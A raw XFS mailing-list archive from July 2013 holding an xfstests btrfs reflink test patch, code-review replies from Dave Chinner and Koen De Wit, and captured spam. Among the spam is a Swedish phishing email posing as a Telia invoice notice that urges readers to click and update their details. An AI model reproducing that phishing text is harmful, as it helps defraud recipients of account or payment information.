+mkdir $SOURCE_DIR + +rm -f $seqres.full + +_scratch_mkfs +$XFS_IO_PROG -f -c 'pwrite -S 0x61 0 9000' $SOURCE_DIR/original \ + >> $seqres.full + +_filter_testdirs() +{ + _filter_test_dir | _filter_scratch +} + +_create_reflinks_to() +{ + # auto reflink, should fall back to non-reflink + rm -rf $1; mkdir $1 + echo "reflink=auto:" + cp --reflink=auto $SOURCE_DIR/original $1/copy + md5sum $SOURCE_DIR/original | _filter_testdirs + md5sum $1/copy | _filter_testdirs + + # always reflink, should fail outright + rm -rf $1; mkdir $1 + echo "reflink=always:" + cp --reflink=always $SOURCE_DIR/original $1/copyfail 2>&1 | _filter_testdirs + + # The failed target actually gets created by cp: + ls $1/copyfail | _filter_testdirs +} + +echo "test reflinks across different devices" +_scratch_mount +_create_reflinks_to $CROSS_DEV_DIR +_scratch_unmount + +echo "test reflinks across different mountpoints of same device" +mount $TEST_DEV $SCRATCH_MNT || _fail "Couldn't double-mount $TEST_DEV" +_create_reflinks_to $DUAL_MOUNT_DIR +umount $SCRATCH_MNT + +# success, all done +status=0 +exit diff --git a/tests/btrfs/311.out b/tests/btrfs/311.out new file mode 100644 index 0000000..210727b --- /dev/null +++ b/tests/btrfs/311.out @@ -0,0 +1,15 @@ +QA output created by 311 +test reflinks across different devices +reflink=auto: +42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-311/original +42d69d1a6d333a7ebdf64792a555e392 SCRATCH_MNT/test-311/copy +reflink=always: +cp: failed to clone `SCRATCH_MNT/test-311/copyfail': Invalid cross-device link +SCRATCH_MNT/test-311/copyfail +test reflinks across different mountpoints of same device +reflink=auto: +42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-311/original +42d69d1a6d333a7ebdf64792a555e392 SCRATCH_MNT/test-bis-311/copy +reflink=always: +cp: failed to clone `SCRATCH_MNT/test-bis-311/copyfail': Invalid cross-device link +SCRATCH_MNT/test-bis-311/copyfail diff --git a/tests/btrfs/group b/tests/btrfs/group index bc6c256..c897118 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -12,3 +12,4 @@ 308 auto quick reflink 309 auto quick reflink 310 auto quick reflink +311 auto quick reflink -- 1.7.2.5 From david@fromorbit.com Tue Jul 2 05:15:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E21A37F53 for ; Tue, 2 Jul 2013 05:15:49 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id D04978F80CF for ; Tue, 2 Jul 2013 03:15:46 -0700 (PDT) X-ASG-Debug-ID: 1372760144-04cbb04690a91bf0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id cwbbWs4NgSdEBZ6H for ; Tue, 02 Jul 2013 03:15:44 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvUxAGGm0lF5LCeA/2dsb2JhbABagwkygmepMgKOToUoBAF+F3SCIwEBBTocIxAIAxgJJQ8FJQMhE4gODbtiFoxzgTSBHQeDBGcDl0iRRoMjKg Received: from ppp121-44-39-128.lns20.syd6.internode.on.net (HELO dastard) ([121.44.39.128]) by ipmail05.adl6.internode.on.net with ESMTP; 02 Jul 2013 19:45:43 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Utxca-0004ZR-1W; Tue, 02 Jul 2013 20:15:40 +1000 Date: Tue, 2 Jul 2013 20:15:40 +1000 From: Dave Chinner To: Koen De Wit Cc: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH v3] xfstests: btrfs/316: cross-subvolume sparse copy Message-ID: <20130702101539.GC14996@dastard> X-ASG-Orig-Subj: Re: [PATCH v3] xfstests: btrfs/316: cross-subvolume sparse copy References: <51D29D17.3050000@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51D29D17.3050000@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1372760144 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135581 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Jul 02, 2013 at 11:27:51AM +0200, Koen De Wit wrote: > This testscript creates reflinks to files on different subvolumes, overwrites the original files and reflinks, and moves reflinked files between subvolumes. > > Originally submitted as testcase 302, changes are made based on comments from Eric: http://oss.sgi.com/archives/xfs/2013-03/msg00231.html > Two new common/rc functions used in this script (_require_cp_reflink and _verify_reflink) have been submitted recently: http://oss.sgi.com/archives/xfs/2013-05/msg00745.html > Thanks to Eric Sandeen and Dave Chinner for the reviews. > > Version 3: fixing wrapped patch. Needs a proper commit message - wrap it at 72 columns, change log should be placed below the --- devider, not be part of hte commit message. Test numbers do not need to be unique across all test directories, just unique within the tests/btrfs directory. > + > +_checksum_files() { > + for F in file1 file2 file3 > + do > + for D in $TESTDIR1 $SCRATCH_MNT $SUBVOL2 > + do > + md5sum $D/$F | _filter_test_dir | _filter_scratch Just cut the file name out. No need for filtering at that point... > + done > + done > +} > + > +TESTDIR1=$TEST_DIR/test-$seq-1 > +TESTDIR2=$TEST_DIR/test-$seq-2 > +SUBVOL1=$TEST_DIR/subvol-$seq-1 > +SUBVOL2=$TEST_DIR/subvol-$seq-2 ....-316-..... > +Verify the file contents: > +e09c80c42fda55f9d992e59ca6b3307d TEST_DIR/test-302-1/file1 which means the golden output is broken, despite the filtering You should test your patches before posting ;) FWIW, this is why you should simply cut the filename completely out like we do elsewhere.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Jul 2 05:30:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1EC837F53 for ; Tue, 2 Jul 2013 05:30:51 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id EB5A68F80D1 for ; Tue, 2 Jul 2013 03:30:50 -0700 (PDT) X-ASG-Debug-ID: 1372761049-04cb6c2a477e7e50001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id yLCuUgigEvzz4YB1 for ; Tue, 02 Jul 2013 03:30:49 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgsOAOaq0lF5LCeA/2dsb2JhbABagwmDGbgChSgEAX4XdIIjAQEFOhwjEAgDFQMJJQ8FJQMhE4gOu3YWjieBHQeDBGcDl0iKH4cngyMq Received: from ppp121-44-39-128.lns20.syd6.internode.on.net (HELO dastard) ([121.44.39.128]) by ipmail05.adl6.internode.on.net with ESMTP; 02 Jul 2013 20:00:48 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1UtxrC-0004b1-7a; Tue, 02 Jul 2013 20:30:46 +1000 Date: Tue, 2 Jul 2013 20:30:46 +1000 From: Dave Chinner To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH] xfs: clean up unused codes at xfs_bulkstat() Message-ID: <20130702103046.GD14996@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: clean up unused codes at xfs_bulkstat() References: <51D18964.2030708@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51D18964.2030708@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1372761049 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135583 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Jul 01, 2013 at 09:51:32PM +0800, Jeff Liu wrote: > From: Jie Liu > > There are some unused codes at xfs_bulkstat(): > > - Variable bp is defined to point to the on-disk inode cluster > buffer, but it proved to be of no practical help. > > - We process the chunks of good inodes which were fetched by iterating > btree records from an AG. When processing inodes from each chunk, > the code recomputing agbno if run into the first inode of a cluster, > however, the agbno is not being used thereafter. > > This patch tries to clean up those things. > > Signed-off-by: Jie Liu Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From anonymous@s15244338.onlinehome-server.info Tue Jul 2 05:38:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.7 required=5.0 tests=HTML_MESSAGE, HTML_MIME_NO_HTML_TAG,MIME_HTML_ONLY,SUBJECT_NEEDS_ENCODING autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 206C47F53 for ; Tue, 2 Jul 2013 05:38:40 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id E61E08F80CF for ; Tue, 2 Jul 2013 03:38:36 -0700 (PDT) X-ASG-Debug-ID: 1372761513-04bdf0233caa8920001-w1Z2WR Received: from s15244338.onlinehome-server.info (s15244338.onlinehome-server.info [87.106.71.62]) by cuda.sgi.com with ESMTP id IxmGcCUeSKLrDw6d (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 02 Jul 2013 03:38:34 -0700 (PDT) X-Barracuda-Envelope-From: anonymous@s15244338.onlinehome-server.info X-Barracuda-Apparent-Source-IP: 87.106.71.62 Received: (qmail 21833 invoked by uid 48); 2 Jul 2013 11:23:30 +0100 Date: 2 Jul 2013 11:23:30 +0100 Message-ID: <20130702102330.21830.qmail@s15244338.onlinehome-server.info> To: linux-xfs@oss.sgi.com Subject: Problem p din sista faktura : 99801_42 From: Telia@faktura.se X-ASG-Orig-Subj: Problem p din sista faktura : 99801_42 Reply-To: MIME-Version: 1.0 Content-type: text/html; charset=iso-8859-1 X-Barracuda-Connect: s15244338.onlinehome-server.info[87.106.71.62] X-Barracuda-Start-Time: 1372761514 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.33 X-Barracuda-Spam-Status: No, SCORE=2.33 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, HTML_MIME_NO_HTML_TAG, MIME_HTML_ONLY, SUBJECT_NEEDS_ENCODING X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135583 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 1.05 HTML_MIME_NO_HTML_TAG HTML-only message, but there is no HTML tag 1.28 SUBJECT_NEEDS_ENCODING SUBJECT_NEEDS_ENCODING

God morgon !



tkomst till ditt konto r begrnsat till nrmast fljande :

  • Vi har mrkt att du har betalat din faktura tva ganger p samma gng
  • ( din fil : 99801_42 )

    Fr att bekrfta din terbetalning :
  • Klicka hr och uppdatera dina uppgifter >>>
  • Tjnster Kundkrets.
    Telia @ 2013 From koen.de.wit@oracle.com Tue Jul 2 09:28:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B83D07F53 for ; Tue, 2 Jul 2013 09:28:41 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 55703AC005 for ; Tue, 2 Jul 2013 07:28:38 -0700 (PDT) X-ASG-Debug-ID: 1372775316-04bdf0233fab0da0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id 0Tb6B0wYdxL7rAMt (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 02 Jul 2013 07:28:37 -0700 (PDT) X-Barracuda-Envelope-From: koen.de.wit@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r62ESX8s029999 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 2 Jul 2013 14:28:34 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r62ESX4u006112 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 2 Jul 2013 14:28:33 GMT Received: from abhmt104.oracle.com (abhmt104.oracle.com [141.146.116.56]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r62ESW6r003855; Tue, 2 Jul 2013 14:28:32 GMT Received: from [192.168.0.247] (/178.116.134.76) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 02 Jul 2013 07:28:32 -0700 Message-ID: <51D2E33B.1080402@oracle.com> Date: Tue, 02 Jul 2013 16:27:07 +0200 From: Koen De Wit User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20111110 Icedove/3.0.11 MIME-Version: 1.0 To: Dave Chinner CC: Eric Sandeen , xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH v3] xfstests: btrfs/316: cross-subvolume sparse copy References: <51D29D17.3050000@oracle.com> <20130702101539.GC14996@dastard> X-ASG-Orig-Subj: Re: [PATCH v3] xfstests: btrfs/316: cross-subvolume sparse copy In-Reply-To: <20130702101539.GC14996@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1372775317 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135599 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Dave, Thanks for the review. I will clean up the commit message and do a full mail-to-myself-and-test-patch round trip to avoid errors like the wrong test numbers in the golden output. I'm sorry for this. About cutting out file names from the output. I did this in the first version of the patch: md5sum $TESTDIR1/$F | $AWK_PROG 'END {print $1}' but Eric Sandeen suggested to include them in order to provide more context in the output. (See http://oss.sgi.com/archives/xfs/2013-03/msg00231.html and http://oss.sgi.com/archives/xfs/2013-03/msg00220.html) That sounds like a good idea to me, it makes debugging failures easier. Whose opinion should I follow? Koen. On 07/02/2013 12:15 PM, Dave Chinner wrote: > On Tue, Jul 02, 2013 at 11:27:51AM +0200, Koen De Wit wrote: >> This testscript creates reflinks to files on different subvolumes, overwrites the original files and reflinks, and moves reflinked files between subvolumes. >> >> Originally submitted as testcase 302, changes are made based on comments from Eric: http://oss.sgi.com/archives/xfs/2013-03/msg00231.html >> Two new common/rc functions used in this script (_require_cp_reflink and _verify_reflink) have been submitted recently: http://oss.sgi.com/archives/xfs/2013-05/msg00745.html >> Thanks to Eric Sandeen and Dave Chinner for the reviews. >> >> Version 3: fixing wrapped patch. > > Needs a proper commit message - wrap it at 72 columns, change log > should be placed below the --- devider, not be part of hte commit > message. > > Test numbers do not need to be unique across all test directories, > just unique within the tests/btrfs directory. > >> + >> +_checksum_files() { >> + for F in file1 file2 file3 >> + do >> + for D in $TESTDIR1 $SCRATCH_MNT $SUBVOL2 >> + do >> + md5sum $D/$F | _filter_test_dir | _filter_scratch > > Just cut the file name out. No need for filtering at that point... > >> + done >> + done >> +} >> + >> +TESTDIR1=$TEST_DIR/test-$seq-1 >> +TESTDIR2=$TEST_DIR/test-$seq-2 >> +SUBVOL1=$TEST_DIR/subvol-$seq-1 >> +SUBVOL2=$TEST_DIR/subvol-$seq-2 > > ....-316-..... > >> +Verify the file contents: >> +e09c80c42fda55f9d992e59ca6b3307d TEST_DIR/test-302-1/file1 > > which means the golden output is broken, despite the filtering > > You should test your patches before posting ;) > > FWIW, this is why you should simply cut the filename completely out > like we do elsewhere.... > > Cheers, > > Dave. From dma_1636@rp.email.girafa.com.br Tue Jul 2 09:59:15 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_IMAGE_RATIO_02, HTML_MESSAGE,T_DKIM_INVALID,T_REMOTE_IMAGE autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id BE01A7F55 for ; Tue, 2 Jul 2013 09:59:14 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1081AAC003 for ; Tue, 2 Jul 2013 07:59:10 -0700 (PDT) X-ASG-Debug-ID: 1372777139-04cb6c2a417f1900001-w1Z2WR Received: from vt-0007-220.email.girafa.com.br (vt-0007-220.email.girafa.com.br [187.61.43.220]) by cuda.sgi.com with ESMTP id HWGDOidAHHyf27de for ; Tue, 02 Jul 2013 07:59:00 -0700 (PDT) X-Barracuda-Envelope-From: dma_1636@rp.email.girafa.com.br X-Barracuda-Apparent-Source-IP: 187.61.43.220 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=k1; d=email.girafa.com.br; h=From:To:Subject:MIME-Version:Content-Type:Reply-To:List-Unsubscribe:Message-ID:Date; bh=puV9uY7oHtnZJQOgq3IGU0Pd55o=; b=YRVsEbMgLcdesrweefdMZMt30AiK9Uq2YXYqHbGjQHYJ+Nrc3TYdff5RODGmfRXytdNfZIdRYYEN 9PBhfcjDEjG5bgfqXE6CRaUJCjJmPiKAOohlrcycGIBHmFDcQ0gWVpRyaFNsPsq31wFzZiMXPEMo BQNVwDIaczx6q8vSKjo= Received: by vt-0007-220.email.girafa.com.br id hqblba0sh4s1 for ; Tue, 2 Jul 2013 11:58:59 -0300 (envelope-from ) From: "=?ISO-8859-1?Q?Girafa?=" To: "" Subject: =?ISO-8859-1?Q?Especial_inform=E1tica:_inova=E7=E3o,_praticidade_e_o_melhor_pre=E7o_s=F3_aqui_no_Girafa._Confira.?= MIME-Version: 1.0 X-ASG-Orig-Subj: =?ISO-8859-1?Q?Especial_inform=E1tica:_inova=E7=E3o,_praticidade_e_o_melhor_pre=E7o_s=F3_aqui_no_Girafa._Confira.?= Content-Type: multipart/alternative; boundary="376b0c8cbaa17417579b74b8675ac272" Reply-To: "=?ISO-8859-1?Q?Girafa?=" List-Unsubscribe: X-Hash: 1636-3257-644384-726054d887e82fe872065f8d1e9f9edb X-DMA: 5192538 Message-ID: <0.0.20.90E.1CE7734AEB264AA.1A3E2@vt-0007-220.email.girafa.com.br> Date: Tue, 2 Jul 2013 11:59:01 -0300 X-Barracuda-Connect: vt-0007-220.email.girafa.com.br[187.61.43.220] X-Barracuda-Start-Time: 1372777140 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.65 X-Barracuda-Spam-Status: No, SCORE=0.65 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_RATIO_02, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135601 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.55 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 BSF_SC0_SA085 Custom Rule SA085 --376b0c8cbaa17417579b74b8675ac272 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83714,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTAyXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD= 0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDJfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS= 5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83714,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTAyXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD= 0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDJfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS= 5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83715,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0NpbmUtRm9= 0by8/dXRtX3NvdXJjZT0wMl8wN18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdX= RtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhXzAyXzA3XzEzJnV0bV90ZXJtP= Q=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83716,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0VsZXRyb25= pY29zLz91dG1fc291cmNlPTAyXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbC= Z1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDJfMDdfMTMmdXRtX3Rlc= m09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83717,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0VsZXRyb3B= vcnRhdGVpcy8/dXRtX3NvdXJjZT0wMl8wN18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW= 1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhXzAyXzA3XzEzJnV0b= V90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83718,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0VsZXRyb2R= vbWVzdGljb3MvP3V0bV9zb3VyY2U9MDJfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPU= VtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wMl8wN18xMyZ1d= G1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83719,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0dhbWVzLz9= 1dG1fc291cmNlPTAyXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY2= 9udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDJfMDdfMTMmdXRtX3Rlcm09,1,b3= NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83720,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0luZm9ybWF= 0aWNhLz91dG1fc291cmNlPTAyXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbC= Z1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDJfMDdfMTMmdXRtX3Rlc= m09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83721,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1NhdWRlLWU= tYmVsZXphLz91dG1fc291cmNlPTAyXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbW= FpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDJfMDdfMTMmdXRtX= 3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83722,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1RlbGVmb25= pYS8/dXRtX3NvdXJjZT0wMl8wN18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdX= RtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhXzAyXzA3XzEzJnV0bV90ZXJtP= Q=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83714,7= 26054d887e82fe872065f8d1e9f9edb,[DMA6_ENCODE_URL]http://www.girafa.com.br/?= utm_source=3D02_07_13_oferta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_c= ampaign=3Doferta_do_dia_02_07_13" /> [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83723,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPW44MDAwJm1hcmNhcz1TYW1zdW5nJnN1YmdydXBvcz0mdXRtX3NvdXJjZT0wMl8wN18xM1= 9vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnb= j1vZmVydGFfZG9fZGlhXzAyXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83724,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1Byb2pldG9= yZXMvRXBzb24vbXVsdGltaWRpYS1wb3dlci1saXRlLXMxMi1zb255LXRlY25vbG9naWEtMy1sY2= QtcmVzb2x1Y2FvLXN2Z2EtODAweDYwMC1waXhlcy1wcmV0by1zMTItcHJldG8uaHRtP3V0bV9zb= 